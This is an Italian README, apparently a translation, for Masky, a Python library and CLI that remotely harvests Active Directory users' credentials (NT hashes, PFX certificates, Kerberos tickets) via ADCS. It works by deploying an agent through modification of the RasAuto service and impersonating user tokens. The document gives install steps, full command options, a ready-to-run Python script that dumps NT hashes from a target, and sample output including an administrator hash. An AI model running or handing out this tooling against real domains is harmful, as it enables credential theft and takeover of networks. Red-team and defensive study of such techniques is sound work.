
Libreria Python con CLI che permette di dumpare da remoto le credenziali degli utenti del dominio tramite un ADCS senza dumpare la memoria del processo LSASS
Masky è una libreria Python che fornisce un modo alternativo per ottenere da remoto le credenziali degli utenti del dominio tramite un ADCS. È stato costruito uno strumento a riga di comando basato su questa libreria per raccogliere facilmente PFX, hash NT e TGT su una scala più ampia.
Questo strumento non sfrutta alcuna nuova vulnerabilità e non funziona tramite dump della memoria del processo LSASS. Sfrutta solo funzionalità legittime di Windows e Active Directory (impersonificazione dei token, autenticazione tramite certificato via Kerberos e recupero degli hash NT tramite PKINIT). È stato pubblicato un post sul blog per dettagliare le tecniche implementate e come funziona Masky.
Il codice sorgente di Masky è ampiamente basato sui fantastici strumenti Certify e Certipy. Ringrazio davvero i loro autori per le ricerche sulle tecniche offensive di sfruttamento contro ADCS (vedi sezione Ringraziamenti).
La libreria Python3 Masky e la sua CLI associata possono essere semplicemente installate tramite il repository pubblico PyPi come segue:
pip install masky
L'eseguibile dell'agente Masky è già incluso nel pacchetto PyPi.
Inoltre, se hai bisogno di modificare l'agente, il codice C# può essere ricompilato tramite un progetto Visual Studio situato in agent/Masky.sln. Richiede .NET Framework 4 per essere compilato.
Masky è stato progettato come una libreria Python. Inoltre, è stata creata un'interfaccia a riga di comando basata su di essa per facilitarne l'uso durante attività di penetration test o Red Team.
Per entrambi gli utilizzi, devi prima ottenere il FQDN di un server CA e il suo nome CA distribuito tramite un ADCS. Queste informazioni possono essere facilmente recuperate tramite l'opzione certipy find o tramite lo strumento Microsoft integrato certutil.exe. Assicurati che il modello User predefinito sia abilitato sulla CA di destinazione.
Avvertenza: Masky distribuisce un eseguibile su ogni target tramite una modifica del servizio RasAuto esistente. Nonostante il ripristino automatico del valore iniziale di ImagePath, un errore imprevisto durante l'esecuzione di Masky potrebbe saltare la fase di pulizia. Pertanto, non dimenticare di reimpostare manualmente il valore originale in caso di un tale arresto indesiderato.
La seguente demo mostra un utilizzo base di Masky prendendo di mira 4 sistemi remoti. La sua esecuzione consente di raccogliere hash NT, CCACHE e PFX di 3 diversi utenti del dominio dal dominio di test sec.lab.
Masky fornisce anche opzioni comunemente offerte da tali strumenti (numero di thread, modalità di autenticazione, target caricati da file, ecc.).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets Destinazioni in formato CIDR, hostname e IP sono accettate, da un file o meno
options:
-h, --help mostra questo messaggio di aiuto ed esci
-v, --verbose Abilita messaggi di debug
-ts, --timestamps Mostra timestamp per ogni log
-t THREADS, --threads THREADS
Dimensione del pool di thread (massimo 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Nome del dominio per autenticarsi
-u USER, --user USER Nome utente per autenticarsi
-p PASSWORD, --password PASSWORD
Password per autenticarsi
-k, --kerberos Usa autenticazione Kerberos. Recupera le credenziali dal file ccache (KRB5CCNAME) in base ai parametri del target.
-H HASHES, --hashes HASHES
Hash per autenticarsi (LM:NT, :NT o :LM)
Connection:
-dc-ip ip address Indirizzo IP del controller di dominio. Se omesso, utilizzerà la parte del dominio (FQDN) specificata nel parametro del target
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Nome dell'Autorità di Certificazione (SERVER\NOME_CA)
Results:
-nh, --no-hash Non richiedere hash NT
-nt, --no-ccache Non salvare file ccache
-np, --no-pfx Non salvare file pfx
-o OUTPUT, --output OUTPUT
Percorso locale di una cartella dove verranno memorizzati i risultati di Masky (crea automaticamente la cartella se non esiste)
Di seguito è riportato uno script semplice che utilizza la libreria Masky per raccogliere i segreti delle sessioni utente in esecuzione da un target remoto.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)
# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False
# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
La sua esecuzione genera il seguente output.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Un oggetto MaskyResults contenente una lista di oggetti User viene restituito dopo un'esecuzione riuscita di Masky.
Si prega di guardare il modulo masky\lib\results.py per verificare i metodi e gli attributi forniti da queste due classi.
Dalla versione 0.0.5 di Masky, l'eseguibile autonomo dell'agente può ora essere eseguito facilmente senza la CLI Python.
Ecco gli argomenti:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
Il parametro /ca è obbligatorio come per la CLI Python. Inoltre, è stato aggiunto l'argomento /currentUser per evitare l'esecuzione dell'impersonificazione del token. Verrà eseguita una semplice richiesta di certificato nel contesto dell'utente corrente, basata sul template fornito (template). I parametri /output e /debug permettono di specificare il percorso dove verranno creati i file.
I valori predefiniti sono i seguenti: